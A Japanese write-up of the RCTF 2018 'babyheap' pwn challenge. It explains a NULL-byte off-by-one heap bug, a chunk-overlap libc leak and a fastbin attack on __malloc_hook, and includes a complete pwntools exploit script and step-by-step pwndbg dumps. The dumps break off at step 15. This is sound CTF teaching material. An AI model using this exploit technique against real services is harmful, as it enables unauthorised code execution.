babyheap(Pwn, 317 points)
babyheap.2018.teamrois.cn:3154
NULLバイトのoff-by-oneを主に利用してヒープ管理機構をあれこれする問題。
0CTF quals 2017のbabyheapの解き方を一部参考にした。
ファイル情報
# file ./babyheap
./babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=220fd4e3e91c4ef2413cc0a4c222a0548602662e, stripped
# checksec ./babyheap
[*] '(snip)/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
動作概要など
操作関連
- ヒープ領域の確保(Alloc)、表示(Show)、削除(Delete)ができる
- ヒープ領域は最大32個(0~0x1f)まで確保できる
# ./babyheap
1. Alloc
2. Show
3. Delete
4. Exit
choice: 1
please input chunk size: 10
input chunk content: AAAA
1. Alloc
2. Show
3. Delete
4. Exit
choice: 1
please input chunk size: 10
input chunk content: BBBB
1. Alloc
2. Show
3. Delete
4. Exit
choice: 2
please input chunk index: 1
content: BBBB
1. Alloc
2. Show
3. Delete
4. Exit
choice: 3
please input chunk index: 1
1. Alloc
2. Show
3. Delete
4. Exit
choice: 2
please input chunk index: 1
no such a chunk
1. Alloc
2. Show
3. Delete
4. Exit
choice: 4
解析関連
- Full RELROなのでGOT書き換えは不可。
- PIEが効いているので、実行ファイルがロードされるアドレスは毎回変わる。
- 確保できるヒープ領域のサイズは1つあたり256(0x100)バイト以下(チャンクサイズは0x110以下)。
- 確保されているヒープ領域の数は.bss領域(0x202018)に格納されている。
- 確保されたヒープ領域のアドレスはmmapされた領域に格納されており、そのmmap領域の先頭アドレスは.bss領域(0x202020)に格納されている。
- ヒープ領域をDelete(free)すると、そこを指してたmmap領域上の値もクリアされる。
脆弱点
Alloc時に実行される関数sub_0xbc8において、アドレス0xc4bにNULLバイトのoff-by-oneが存在する。
たとえばchunk sizeが0x10のときにcontentとして0x10バイト入力すると、アドレス0xc41に来た時点でvar_C=0x10
となっているので、アドレス0xc4bの処理では「0から始まって」0x10バイト目にNULLが入る(off-by-one)。
考察
- Full RELROなので、
__malloc_hook
にOne-Gadget-RCEを書き込むことを考える。 -
__malloc_hook
への実際の書き込み先は、下記結果により__malloc_hook - 0x23
とする。
fastbinチャンクとして__malloc_hook - 0x10
のアドレスから確保しようとすると、sizeにあたる領域__malloc_hook - 0x8
の値が大きくなってfastbinとしてのサイズ条件(~0x80)を超えてしまう。
pwndbg> x/8gx ((long long)&__malloc_hook)-0x10
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00
0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b20 <main_arena>: 0x0000000100000000 0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
なので、下記のように__malloc_hook - 0x10
から少しずらす(__malloc_hook - 0x23)ことでsizeが0x7f(0x70)となり、fastbinのサイズ条件を満たす。
pwndbg> x/8gx ((long long)&__malloc_hook-0x13)-0x10
0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f
0x7ffff7dd1afd: 0xfff7a92e20000000 0xfff7a92a0000007f
0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7ffff7dd1b1d: 0x0100000000000000 0x0000000000000000
- あるチャンクについて、下記を利用して実際のチャンクより大きいサイズのチャンクをfreeされたことにする。このとき、freeされたことになった領域に、まだ生きている(mmap領域から指されている)チャンクが存在しているようにする(overlap)。
- NULLバイトのoff-by-oneが存在:次のチャンクのPREV_INUSEをオフにできる。
- データ領域の最後の8バイトと次のチャンクのPREV_SIZE領域が共通:PREV_SIZEを偽造できる。
- 上記overlapを利用して
main_arena + 0x58
のアドレスをリークさせる。 -
__malloc_hook
へのOne-Gadget-RCE書き込みにはfastbin attackを利用する。この際にも上記overlapを利用する。
方針
- 下記サイズの領域をAllocする。
- 0x80バイト(チャンクサイズ:0x90):#0
- 0x10バイト(チャンクサイズ:0x20):#1
- 0xf0バイト(チャンクサイズ:0x100):#2
- 0x10バイト(チャンクサイズ:0x20):#3
- #0をDeleteする。これをやっておかないと、PREV_SIZE・PREV_INUSE偽装後の#2のDeleteがうまく動作しない。(旧#0のfd・bkチェックで落ちる)
- #1をDeleteする。
- サイズ0x18バイトの領域を確保する(旧#1領域に確保)。このとき#2のPREV_SIZEに#0と#1分のチャンクサイズの合計値(0xb0)を設定し、同時にoff-by-oneにより#2のPREV_INUSEをクリアする。
- #2をDeleteする。
- サイズ0x80バイト(チャンクサイズ:0x90)の領域を確保する。このとき#1のチャンク先頭はちょうどunsorted binのチャンク先頭と重なるので、#0のデータ領域には
main_arena + 0x58
のアドレスが書き込まれる。 - #0をShowして
main_arena + 0x58
のアドレスをリークさせ、libc_base
や__malloc_hook
、One-Gadget-RCE
のアドレスを求める。 - freeされている領域を埋めるようにAllocする(一応)。
- 下記サイズの領域をAllocする。
- 0x80バイト(チャンクサイズ:0x90):#5
- 0x60バイト(チャンクサイズ:0x70):#6
- 0xf0バイト(チャンクサイズ:0x100):#7
- 0x10バイト(チャンクサイズ:0x20):#8
- #5をDeleteする。理由は
2.
と同じ。 - #6をDeleteする。
- サイズ0x68バイトの領域を確保する(旧#6領域に確保、実際の通し番号は#5)。このとき#7のPREV_SIZEに#5と#6分のチャンクサイズの合計値(0x100)を設定し、同時にoff-by-oneにより#7のPREV_INUSEをクリアする。
- #7をDeleteする。
- #5をDeleteする。これによりチャンクサイズ0x70のfastbinがarenaのfastbin[5]につながれる。
- サイズ0xa0バイトの領域を確保する。このチャンクは
10.
でDeleteした領域から始まり、14.
でDeleteしたfastbinとoverlapしているので、領域確保前のfastbinの状態を復旧した上でfastbinのfd領域に__malloc_hook - 0x23
のアドレスを書き込む。 - サイズ0x60バイトの領域を確保する。このときarenaのfastbin[5]には
__malloc_hook - 0x23
がつながれる。 - サイズ0x60バイトの領域を確保する。このときチャンクアドレスとして
__malloc_hook - 0x23
が返るので、__malloc_hook
にあたる部分にOne-Gadget-RCEを書き込む。 - 適当なサイズをAllocしたらshellが起動する。
事前準備
提供されたlibc.so.6について、
- ロードしたときの「main_arenaアドレス - libc_base」のオフセット値を求める(smallbinをfreeして確認)
pwndbg> x/6gx 0x5595a25c0530
0x5595a25c0530: 0x0000000000000000 0x0000000000000091
0x5595a25c0540: 0x00007f6613efbb78 0x00007f6613efbb78
0x5595a25c0550: 0x0000000000000000 0x0000000000000000
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x5595a1015000 0x5595a1017000 r-xp 2000 0 (snip)/babyheap
0x5595a1216000 0x5595a1217000 r--p 1000 1000 (snip)/babyheap
0x5595a1217000 0x5595a1218000 rw-p 1000 2000 (snip)/babyheap
0x5595a25b9000 0x5595a25e1000 rw-p 28000 0 [heap]
0x7f6613b37000 0x7f6613cf7000 r-xp 1c0000 0 (snip)/libc.so.6
0x7f6613cf7000 0x7f6613ef7000 ---p 200000 1c0000 (snip)/libc.so.6
0x7f6613ef7000 0x7f6613efb000 r--p 4000 1c0000 (snip)/libc.so.6
0x7f6613efb000 0x7f6613efd000 rw-p 2000 1c4000 (snip)/libc.so.6
0x7f6613efd000 0x7f6613f01000 rw-p 4000 0
0x7f6613f01000 0x7f6613f27000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7f6614122000 0x7f6614126000 rw-p 4000 0
0x7f6614126000 0x7f6614127000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7f6614127000 0x7f6614128000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7f6614128000 0x7f6614129000 rw-p 1000 0
0x7ffec4009000 0x7ffec402a000 rw-p 21000 0 [stack]
0x7ffec4038000 0x7ffec403b000 r--p 3000 0 [vvar]
0x7ffec403b000 0x7ffec403d000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
>>> hex(0x00007f6613efbb78-0x58-0x7f6613b37000)
'0x3c4b20'
- One-Gadget-RCEのオフセット値を求める
# one_gadget -f ./libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
exploit
from pwn import *
context.log_level = 'INFO'
BIN = './babyheap'
LIBC = './libc.so.6'
elf = ELF(BIN)
libc = ELF(LIBC)
target = 'babyheap.2018.teamrois.cn'
port = 3154
conn = remote(target, port)
def alloc(size, cont):
conn.sendafter('choice: ', '1')
conn.sendafter('size: ', str(size))
conn.sendafter('content: ', cont)
def show(idx):
conn.sendafter('choice: ', '2')
conn.sendafter('index: ', str(idx))
conn.recvuntil('content: ')
res = conn.recvline().strip()
return res
def delete(idx):
conn.sendafter('choice: ', '3')
conn.sendafter('index: ', str(idx))
alloc(0x80, 'A'*8 + '\n') #0
alloc(0x10, 'B'*8 + '\n') #1
alloc(0xf0, 'C'*8 + '\n') #2
alloc(0x10, 'D'*8 + '\n') #3
delete(0)
delete(1)
payload = ''
payload += 'E' * 8
payload += p64(0)
payload += p64(0xb0)
alloc(0x18, payload) #0
delete(2)
payload = ''
payload += 'F' * 0x80
alloc(0x80, payload) #1
main_arena_offset = 0x3c4b20
malloc_hook_offset = libc.symbols['__malloc_hook']
one_gadget_offset = 0x4526a
main_arena = u64(show(0).ljust(8, '\0')) - 0x58
libc_base = main_arena - main_arena_offset
malloc_hook = libc_base + malloc_hook_offset
target = malloc_hook - 0x23
one_gadget = libc_base + one_gadget_offset
log.info('main_arena: {0}'.format(hex(main_arena)))
log.info('libc_base: {0}'.format(hex(libc_base)))
log.info('malloc_hook: {0}'.format(hex(malloc_hook)))
log.info('target: {0}'.format(hex(target)))
alloc(0x100, 'G'*8 + '\n') #0, 2
alloc(0x10, 'gomi' + '\n') #4
alloc(0x80, 'a'*8 + '\n') #5
alloc(0x60, 'b'*8 + '\n') #6
alloc(0xf0, 'c'*8 + '\n') #7
alloc(0x10, 'd'*8 + '\n') #8
delete(5)
delete(6)
payload = ''
payload += 'e' * 0x10
payload += '\0' * 0x50
payload += p64(0x100)
alloc(0x68, payload) #5
delete(7)
delete(5)
payload = ''
payload += 'f' * 0x80
payload += p64(0x90)
payload += p64(0x70)
payload += p64(target)
payload += 'gomi'
alloc(0xa0, payload + '\n')
alloc(0x60, 'g'*8 + '\n')
payload = ''
payload += p64(0)
payload += p64(0)
payload += p8(0)
payload += p8(0)
payload += p8(0)
payload += p64(one_gadget)
alloc(0x60, payload + '\n')
conn.sendafter('choice: ', '1')
conn.sendafter('size: ', '10')
conn.interactive()
conn.close()
検証メモ
1.
下記サイズの領域をAllocする。
- 0x80バイト(チャンクサイズ:0x90):#0
- 0x10バイト(チャンクサイズ:0x20):#1
- 0xf0バイト(チャンクサイズ:0x100):#2
- 0x10バイト(チャンクサイズ:0x20):#3
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x564c829bd000 0x564c829bf000 r-xp 2000 0 (snip)/babyheap
0x564c82bbe000 0x564c82bbf000 r--p 1000 1000 (snip)/babyheap
0x564c82bbf000 0x564c82bc0000 rw-p 1000 2000 (snip)/babyheap
0x564c8374f000 0x564c83779000 rw-p 2a000 0 [heap]
0x7f2e86494000 0x7f2e86654000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f2e86654000 0x7f2e86854000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f2e86854000 0x7f2e86858000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f2e86858000 0x7f2e8685a000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7f2e8685a000 0x7f2e8685e000 rw-p 4000 0
0x7f2e8685e000 0x7f2e86884000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7f2e86a65000 0x7f2e86a68000 rw-p 3000 0
0x7f2e86a82000 0x7f2e86a83000 rw-p 1000 0
0x7f2e86a83000 0x7f2e86a84000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7f2e86a84000 0x7f2e86a85000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7f2e86a85000 0x7f2e86a86000 rw-p 1000 0
0x7ffc2e908000 0x7ffc2e929000 rw-p 21000 0 [stack]
0x7ffc2e958000 0x7ffc2e95b000 r--p 3000 0 [vvar]
0x7ffc2e95b000 0x7ffc2e95d000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
pwndbg> set $base=0x564c829bd000
pwndbg> telescope $base+0x202020
00:0000│ 0x564c82bbf020 (__bss_start+16) —▸ 0x7f2e86a82000 —▸ 0x564c837581c0 ◂— 'AAAAAAAA'
01:0008│ 0x564c82bbf028 ◂— 0x0
pwndbg> def list
Type commands for definition of "list".
End with a line saying just "end".
>telescope 0x7f2e86a82000 10
>end
pwndbg> list
00:0000│ 0x7f2e86a82000 —▸ 0x564c837581c0 ◂— 'AAAAAAAA'
01:0008│ 0x7f2e86a82008 —▸ 0x564c83758250 ◂— 'BBBBBBBB'
02:0010│ 0x7f2e86a82010 —▸ 0x564c83758270 ◂— 'CCCCCCCC'
03:0018│ 0x7f2e86a82018 —▸ 0x564c83758370 ◂— 'DDDDDDDD'
04:0020│ 0x7f2e86a82020 ◂— 0x0
... ↓
pwndbg> x/32gx 0x564c837581b0
0x564c837581b0: 0x0000000000000000 0x0000000000000091 #0
0x564c837581c0: 0x4141414141414141 0x0000000000000000
(snip)
0x564c83758240: 0x0000000000000000 0x0000000000000021 #1
0x564c83758250: 0x4242424242424242 0x0000000000000000
0x564c83758260: 0x0000000000000000 0x0000000000000101 #2
0x564c83758270: 0x4343434343434343 0x0000000000000000
(snip)
0x564c83758360: 0x0000000000000000 0x0000000000000021 #3
0x564c83758370: 0x4444444444444444 0x0000000000000000
0x564c83758380: 0x0000000000000000 0x0000000000020c81
2.
#0をDeleteする。これをやっておかないと、PREV_SIZE・PREV_INUSE偽装後の#2のDeleteがうまく動作しない。(旧#0のfd・bkチェックで落ちる)
pwndbg> list
00:0000│ 0x7f2e86a82000 ◂— 0x0
01:0008│ 0x7f2e86a82008 —▸ 0x564c83758250 ◂— 'BBBBBBBB'
02:0010│ 0x7f2e86a82010 —▸ 0x564c83758270 ◂— 'CCCCCCCC'
03:0018│ 0x7f2e86a82018 —▸ 0x564c83758370 ◂— 'DDDDDDDD'
04:0020│ 0x7f2e86a82020 ◂— 0x0
... ↓
pwndbg> x/32gx 0x564c837581b0
0x564c837581b0: 0x0000000000000000 0x0000000000000091
0x564c837581c0: 0x00007f2e86858b78 0x00007f2e86858b78
(snip)
0x564c83758240: 0x0000000000000090 0x0000000000000020 #1
0x564c83758250: 0x4242424242424242 0x0000000000000000
0x564c83758260: 0x0000000000000000 0x0000000000000101 #2
0x564c83758270: 0x4343434343434343 0x0000000000000000
(snip)
0x564c83758360: 0x0000000000000000 0x0000000000000021 #3
0x564c83758370: 0x4444444444444444 0x0000000000000000
0x564c83758380: 0x0000000000000000 0x0000000000020c81
3.
#1をDeleteする。
4.
サイズ0x18バイトの領域を確保する(旧#1領域に確保)。このとき#2のPREV_SIZEに#0と#1分のチャンクサイズの合計値(0xb0)を設定し、同時にoff-by-oneにより#2のPREV_INUSEをクリアする。
pwndbg> list
00:0000│ 0x7f2e86a82000 —▸ 0x564c83758250 ◂— 'EEEEEEEE'
01:0008│ 0x7f2e86a82008 ◂— 0x0
02:0010│ 0x7f2e86a82010 —▸ 0x564c83758270 ◂— 'CCCCCCCC'
03:0018│ 0x7f2e86a82018 —▸ 0x564c83758370 ◂— 'DDDDDDDD'
04:0020│ 0x7f2e86a82020 ◂— 0x0
... ↓
pwndbg> x/32gx 0x564c837581b0
0x564c837581b0: 0x0000000000000000 0x0000000000000091
0x564c837581c0: 0x00007f2e86858b78 0x00007f2e86858b78
(snip)
0x564c83758240: 0x0000000000000090 0x0000000000000020 #0
0x564c83758250: 0x4545454545454545 0x0000000000000000
0x564c83758260: 0x00000000000000b0 0x0000000000000100 #2
0x564c83758270: 0x4343434343434343 0x0000000000000000
(snip)
0x564c83758360: 0x0000000000000000 0x0000000000000021 #3
0x564c83758370: 0x4444444444444444 0x0000000000000000
0x564c83758380: 0x0000000000000000 0x0000000000020c81
5.
#2をDeleteする。
pwndbg> list
00:0000│ 0x7f2e86a82000 —▸ 0x564c83758250 ◂— 'EEEEEEEE'
01:0008│ 0x7f2e86a82008 ◂— 0x0
... ↓
03:0018│ 0x7f2e86a82018 —▸ 0x564c83758370 ◂— 'DDDDDDDD'
04:0020│ 0x7f2e86a82020 ◂— 0x0
... ↓
pwndbg> x/32gx 0x564c837581b0
0x564c837581b0: 0x0000000000000000 0x00000000000001b1
0x564c837581c0: 0x00007f2e86858b78 0x00007f2e86858b78
(snip)
0x564c83758240: 0x0000000000000090 0x0000000000000020 #0
0x564c83758250: 0x4545454545454545 0x0000000000000000
0x564c83758260: 0x00000000000000b0 0x0000000000000100
0x564c83758270: 0x4343434343434343 0x0000000000000000
(snip)
0x564c83758360: 0x00000000000001b0 0x0000000000000020 #3
0x564c83758370: 0x4444444444444444 0x0000000000000000
0x564c83758380: 0x0000000000000000 0x0000000000020c81
6.
サイズ0x80バイト(チャンクサイズ:0x90)の領域を確保する。このとき#0のチャンク先頭はちょうどunsorted binのチャンク先頭と重なるので、#0のデータ領域にはmain_arena + 0x58
のアドレスが書き込まれる。
pwndbg> list
00:0000│ 0x7f2e86a82000 —▸ 0x564c83758250 —▸ 0x7f2e86858b78 (main_arena+88) —▸ 0x564c83758380 ◂— ...
01:0008│ 0x7f2e86a82008 —▸ 0x564c837581c0 ◂— 0x4646464646464646 ('FFFFFFFF')
02:0010│ 0x7f2e86a82010 ◂— 0x0
03:0018│ 0x7f2e86a82018 —▸ 0x564c83758370 ◂— 'DDDDDDDD'
04:0020│ 0x7f2e86a82020 ◂— 0x0
... ↓
pwndbg> x/32gx 0x564c837581b0
0x564c837581b0: 0x0000000000000000 0x0000000000000091 #1
0x564c837581c0: 0x4646464646464646 0x4646464646464646
(snip)
0x564c83758240: 0x0000000000000000 0x0000000000000121 #0
0x564c83758250: 0x00007f2e86858b78 0x00007f2e86858b78
0x564c83758260: 0x00000000000000b0 0x0000000000000100
0x564c83758270: 0x4343434343434343 0x0000000000000000
(snip)
0x564c83758360: 0x0000000000000120 0x0000000000000020 #3
0x564c83758370: 0x4444444444444444 0x0000000000000000
0x564c83758380: 0x0000000000000000 0x0000000000020c81
7.
#0をShowしてmain_arena + 0x58
のアドレスをリークさせ、libc_base
や__malloc_hook
、One-Gadget-RCE
のアドレスを求める。
[*] main_arena: 0x7f2e86858b20
[*] libc_base: 0x7f2e86494000
[*] malloc_hook: 0x7f2e86858b10
[*] target: 0x7f2e86858aed
8.
freeされている領域を埋めるようにAllocする(一応)。
pwndbg> list
00:0000│ 0x7f2e86a82000 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
01:0008│ 0x7f2e86a82008 —▸ 0x564c837581c0 ◂— 0x4646464646464646 ('FFFFFFFF')
02:0010│ 0x7f2e86a82010 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
03:0018│ 0x7f2e86a82018 —▸ 0x564c83758370 ◂— 'DDDDDDDD'
04:0020│ 0x7f2e86a82020 —▸ 0x564c83758390 ◂— 0x696d6f67 /* 'gomi' */
05:0028│ 0x7f2e86a82028 ◂— 0x0
... ↓
pwndbg> x/32gx 0x564c837581b0
0x564c837581b0: 0x0000000000000000 0x0000000000000091 #1
0x564c837581c0: 0x4646464646464646 0x4646464646464646
(snip)
0x564c83758240: 0x0000000000000000 0x0000000000000121 #0, #2
0x564c83758250: 0x4747474747474747 0x0000000000000000
0x564c83758260: 0x0000000000000000 0x0000000000000000
0x564c83758270: 0x0000000000000000 0x0000000000000000
(snip)
0x564c83758360: 0x0000000000000000 0x0000000000000021 #3
0x564c83758370: 0x4444444444444444 0x0000000000000000
0x564c83758380: 0x0000000000000000 0x0000000000000021 #4
0x564c83758390: 0x00000000696d6f67 0x0000000000000000
0x564c837583a0: 0x0000000000000000 0x0000000000020c61
9.
下記サイズの領域をAllocする。
- 0x80バイト(チャンクサイズ:0x90):#5
- 0x60バイト(チャンクサイズ:0x70):#6
- 0xf0バイト(チャンクサイズ:0x100):#7
- 0x10バイト(チャンクサイズ:0x20):#8
pwndbg> list
00:0000│ 0x7f2e86a82000 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
01:0008│ 0x7f2e86a82008 —▸ 0x564c837581c0 ◂— 0x4646464646464646 ('FFFFFFFF')
02:0010│ 0x7f2e86a82010 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
03:0018│ 0x7f2e86a82018 —▸ 0x564c83758370 ◂— 'DDDDDDDD'
04:0020│ 0x7f2e86a82020 —▸ 0x564c83758390 ◂— 0x696d6f67 /* 'gomi' */
05:0028│ 0x7f2e86a82028 —▸ 0x564c837583b0 ◂— 'aaaaaaaa'
06:0030│ 0x7f2e86a82030 —▸ 0x564c83758440 ◂— 'bbbbbbbb'
07:0038│ 0x7f2e86a82038 —▸ 0x564c837584b0 ◂— 'cccccccc'
08:0040│ 0x7f2e86a82040 —▸ 0x564c837585b0 ◂— 'dddddddd'
09:0048│ 0x7f2e86a82048 ◂— 0x0
... ↓
pwndbg> x/32gx 0x564c837583a0
0x564c837583a0: 0x0000000000000000 0x0000000000000091 #5
0x564c837583b0: 0x6161616161616161 0x0000000000000000
(snip)
0x564c83758430: 0x0000000000000000 0x0000000000000071 #6
0x564c83758440: 0x6262626262626262 0x0000000000000000
(snip)
0x564c837584a0: 0x0000000000000000 0x0000000000000101 #7
0x564c837584b0: 0x6363636363636363 0x0000000000000000
(snip)
0x564c837585a0: 0x0000000000000000 0x0000000000000021 #8
0x564c837585b0: 0x6464646464646464 0x0000000000000000
0x564c837585c0: 0x0000000000000000 0x0000000000020a41
10.
#5をDeleteする。理由は2.
と同じ。
pwndbg> list
00:0000│ 0x7f2e86a82000 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
01:0008│ 0x7f2e86a82008 —▸ 0x564c837581c0 ◂— 0x4646464646464646 ('FFFFFFFF')
02:0010│ 0x7f2e86a82010 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
03:0018│ 0x7f2e86a82018 —▸ 0x564c83758370 ◂— 'DDDDDDDD'
04:0020│ 0x7f2e86a82020 —▸ 0x564c83758390 ◂— 0x696d6f67 /* 'gomi' */
05:0028│ 0x7f2e86a82028 ◂— 0x0
06:0030│ 0x7f2e86a82030 —▸ 0x564c83758440 ◂— 'bbbbbbbb'
07:0038│ 0x7f2e86a82038 —▸ 0x564c837584b0 ◂— 'cccccccc'
08:0040│ 0x7f2e86a82040 —▸ 0x564c837585b0 ◂— 'dddddddd'
09:0048│ 0x7f2e86a82048 ◂— 0x0
... ↓
pwndbg> x/32gx 0x564c837583a0
0x564c837583a0: 0x0000000000000000 0x0000000000000091
0x564c837583b0: 0x00007f2e86858b78 0x00007f2e86858b78
(snip)
0x564c83758430: 0x0000000000000000 0x0000000000000070 #6
0x564c83758440: 0x6262626262626262 0x0000000000000000
(snip)
0x564c837584a0: 0x0000000000000000 0x0000000000000101 #7
0x564c837584b0: 0x6363636363636363 0x0000000000000000
(snip)
0x564c837585a0: 0x0000000000000000 0x0000000000000021 #8
0x564c837585b0: 0x6464646464646464 0x0000000000000000
0x564c837585c0: 0x0000000000000000 0x0000000000020a41
11.
#6をDeleteする。
12.
サイズ0x68バイトの領域を確保する(旧#6領域に確保、実際の通し番号は#5)。このとき#7のPREV_SIZEに#5と#6分のチャンクサイズの合計値(0x100)を設定し、同時にoff-by-oneにより#7のPREV_INUSEをクリアする。
pwndbg> list
00:0000│ 0x7f2e86a82000 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
01:0008│ 0x7f2e86a82008 —▸ 0x564c837581c0 ◂— 0x4646464646464646 ('FFFFFFFF')
02:0010│ 0x7f2e86a82010 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
03:0018│ 0x7f2e86a82018 —▸ 0x564c83758370 ◂— 'DDDDDDDD'
04:0020│ 0x7f2e86a82020 —▸ 0x564c83758390 ◂— 0x696d6f67 /* 'gomi' */
05:0028│ 0x7f2e86a82028 —▸ 0x564c83758440 ◂— 0x6565656565656565 ('eeeeeeee')
06:0030│ 0x7f2e86a82030 ◂— 0x0
07:0038│ 0x7f2e86a82038 —▸ 0x564c837584b0 ◂— 'cccccccc'
08:0040│ 0x7f2e86a82040 —▸ 0x564c837585b0 ◂— 'dddddddd'
09:0048│ 0x7f2e86a82048 ◂— 0x0
... ↓
pwndbg> x/32gx 0x564c837583a0
0x564c837583a0: 0x0000000000000000 0x0000000000000091
0x564c837583b0: 0x00007f2e86858b78 0x00007f2e86858b78
(snip)
0x564c83758430: 0x0000000000000090 0x0000000000000070 #5
0x564c83758440: 0x6565656565656565 0x6565656565656565
(snip)
0x564c837584a0: 0x0000000000000100 0x0000000000000100 #7
0x564c837584b0: 0x6363636363636363 0x0000000000000000
(snip)
0x564c837585a0: 0x0000000000000000 0x0000000000000021 #8
0x564c837585b0: 0x6464646464646464 0x0000000000000000
0x564c837585c0: 0x0000000000000000 0x0000000000020a41
13.
#7をDeleteする。
pwndbg> list
00:0000│ 0x7f2e86a82000 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
01:0008│ 0x7f2e86a82008 —▸ 0x564c837581c0 ◂— 0x4646464646464646 ('FFFFFFFF')
02:0010│ 0x7f2e86a82010 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
03:0018│ 0x7f2e86a82018 —▸ 0x564c83758370 ◂— 'DDDDDDDD'
04:0020│ 0x7f2e86a82020 —▸ 0x564c83758390 ◂— 0x696d6f67 /* 'gomi' */
05:0028│ 0x7f2e86a82028 —▸ 0x564c83758440 ◂— 0x6565656565656565 ('eeeeeeee')
06:0030│ 0x7f2e86a82030 ◂— 0x0
... ↓
08:0040│ 0x7f2e86a82040 —▸ 0x564c837585b0 ◂— 'dddddddd'
09:0048│ 0x7f2e86a82048 ◂— 0x0
... ↓
pwndbg> x/32gx 0x564c837583a0
0x564c837583a0: 0x0000000000000000 0x0000000000000201
0x564c837583b0: 0x00007f2e86858b78 0x00007f2e86858b78
(snip)
0x564c83758430: 0x0000000000000090 0x0000000000000070
0x564c83758440: 0x6565656565656565 0x6565656565656565 #5
(snip)
0x564c837584a0: 0x0000000000000100 0x0000000000000100
0x564c837584b0: 0x6363636363636363 0x0000000000000000
(snip)
0x564c837585a0: 0x0000000000000200 0x0000000000000020 #8
0x564c837585b0: 0x6464646464646464 0x0000000000000000
0x564c837585c0: 0x0000000000000000 0x0000000000020a41
14.
#5をDeleteする。これによりチャンクサイズ0x70のfastbinがarenaのfastbin[5]につながれる。
pwndbg> list
00:0000│ 0x7f2e86a82000 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
01:0008│ 0x7f2e86a82008 —▸ 0x564c837581c0 ◂— 0x4646464646464646 ('FFFFFFFF')
02:0010│ 0x7f2e86a82010 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
03:0018│ 0x7f2e86a82018 —▸ 0x564c83758370 ◂— 'DDDDDDDD'
04:0020│ 0x7f2e86a82020 —▸ 0x564c83758390 ◂— 0x696d6f67 /* 'gomi' */
05:0028│ 0x7f2e86a82028 ◂— 0x0
... ↓
08:0040│ 0x7f2e86a82040 —▸ 0x564c837585b0 ◂— 'dddddddd'
09:0048│ 0x7f2e86a82048 ◂— 0x0
... ↓
pwndbg> x/32gx 0x564c837583a0
0x564c837583a0: 0x0000000000000000 0x0000000000000201
0x564c837583b0: 0x00007f2e86858b78 0x00007f2e86858b78
(snip)
0x564c83758430: 0x0000000000000090 0x0000000000000070
0x564c83758440: 0x0000000000000000 0x6565656565656565
(snip)
0x564c837584a0: 0x0000000000000100 0x0000000000000100
0x564c837584b0: 0x6363636363636363 0x0000000000000000
(snip)
0x564c837585a0: 0x0000000000000200 0x0000000000000020 #8
0x564c837585b0: 0x6464646464646464 0x0000000000000000
0x564c837585c0: 0x0000000000000000 0x0000000000020a41
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x564c83758430 (overlap chunk with 0x564c837583a0(freed) )
(0x80) fastbin[6]: 0x0
top: 0x564c837585c0 (size : 0x20a40)
last_remainder: 0x564c83758240 (size : 0x120)
unsortbin: 0x564c837583a0 (size : 0x200)
15.
サイズ0xa0バイトの領域を確保する。このチャンクは10.
でDeleteした領域から始まり、14.
でDeleteしたfastbinとoverlapしているので、領域確保前のfastbinの状態を復旧した上でfastbinのfd領域に__malloc_hook - 0x23
のアドレスを書き込む。
pwndbg> list
00:0000│ 0x7f2e86a82000 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
01:0008│ 0x7f2e86a82008 —▸ 0x564c837581c0 ◂— 0x4646464646464646 ('FFFFFFFF')
02:0010│ 0x7f2e86a82010 —▸ 0x564c83758250 ◂— 'GGGGGGGG'
03:0018│ 0x7f2e86a82018 —▸ 0x564c83758370 ◂— 'DDDDDDDD'
